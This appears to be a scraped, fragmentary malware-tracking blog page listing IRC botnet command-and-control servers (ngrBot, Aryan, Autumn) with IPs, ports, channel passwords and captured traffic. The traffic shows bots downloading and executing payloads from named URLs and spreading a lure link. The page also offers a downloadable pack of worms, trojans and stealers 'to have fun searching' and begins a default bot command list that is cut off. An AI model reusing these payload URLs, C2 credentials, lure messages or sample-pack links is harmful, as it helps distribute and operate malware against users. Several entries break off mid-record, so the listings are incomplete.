184.154.174.202(ngrBot hosted in United States Chicago Singlehop Inc)

Remote Host Port Number 184.154.174.202 1888 PASS strike 199.15.234.7 80 70.38.98.236 80 NICK n{US|XPa}zjjqhnh USER zjjqhnh 0 0 :zjjqhnh JOIN #asdf strike JOIN #XP JOIN #US PRIVMSG #XP :[d=”http://img102.herosh.com/2011/09/26/125094789.gif” s=”81920 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0 hosting infos: http://whois.domaintools.com/184.154.174.202

109.169.37.16(ngrBot hosted in United Kingdom Maidenhead Rapidswitch Ltd)

Remote Host Port Number 109.169.37.16 7777 PASS laekin0505x 199.15.234.7 80 65.254.250.108 80 NICK n{US|XPa}gvplpfy USER gvplpfy 0 0 :gvplpfy JOIN #totalrenovation2011 ngrBot PRIVMSG #totalrenovation2011 :[d=”http://teraniprom.com/admin/product_picture/FINAL.exe” s=”114688 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0 PRIVMSG #totalrenovation2011 :[d=”http://teraniprom.com/admin/product_picture/Winsoft.exe” s=”167936 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataMcxaxm.exe” – Download retries: 0 * The

208.117.34.161(ngrBot hosted in United States Laird Hill Steadfast Networks)

Remote Host Port Number 199.15.234.7 80 70.38.98.236 80 208.117.34.161 1888 PASS strike NICK n{US|XPa}rpgrbzy USER rpgrbzy 0 0 :rpgrbzy JOIN #asdf strike JOIN #XP JOIN #US PRIVMSG #XP :[d=”http://img102.herosh.com/2011/09/23/174023232.gif” s=”81920 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0 hosting infos: http://whois.domaintools.com/208.117.34.161

178.162.148.126(Autumn bot hosted in Germany Frankfurt Netdirect)

Remote Host Port Number 178.162.148.126 4758 NICK [USA-XP-x86]31375 USER unreal 8 * :unreal JOIN #autumn autumn9857 PONG :680356A8 Now talking in #autumn Topic On: [ #autumn ] [] Topic By: [ Red ] hosting infos: http://whois.domaintools.com/178.162.148.126

115mb malware samples

This package contains 115mb of worms,trojans,irc bots,stealers etc have fun searching them Download: http://adf.ly/2rm49 http://adf.ly/2rmAC

Aryan Bot Commands

This bot is spreading around and is same shit as ngrBot here are commands for this crap Please note that this list only contains the default commands and prefix’s, remember your commands and prefix and subsitute it accordingly. @Info – Displays the location from where your bot is running from. @Remove – Fully Removes the

ohaizor.info(ngrBot hosted in United States Morgantown Sharktech Internet Services)

Resolved : [ohaizor.info] To [204.188.221.156] Remote Host Port Number 199.15.234.7 80 63.223.121.212 80 204.188.221.156 3125 PASS .. PRIVMSG #ngr# :[HTTP]: Updated HTTP spread message to “lmao look at this pic http://areeba.dk/images/?IMG3181.jpg” PRIVMSG #ngr# :[DNS]: Blocked 1259 domain(s) – Redirected 0 domain(s) NICK n{US|XPa}wjhczdd USER wjhczdd 0 0 :wjhczdd JOIN #ngr# ngrBot PRIVMSG #ngr# :[MSN]: Updated

46.105.241.160(aryan bot hosted in United Kingdom Ovh Systems)

Remote Host Port Number 199.15.234.7 80 64.62.181.43 80 65.254.248.151 80 46.105.241.160 6667 PASS none or PASS passwd MODE New{US-XP-x86}8220715 +iMm JOIN #xxARYANxx# styggen JOIN #dl PRIVMSG #dl :[AryaN]: Downloading File: “http://ohnull.fileave.com/worm_crypt.exe” PRIVMSG #dl :[AryaN]: Successfully Downloaded File To: “C:Documents and SettingsUserNameApplication Data187831163825520.exe” PRIVMSG #dl :[AryaN]: Successfully Executed Process: “C:Documents and SettingsUserNameApplication Data187831163825520.exe” NICK New{US-XP-x86}8220715 USER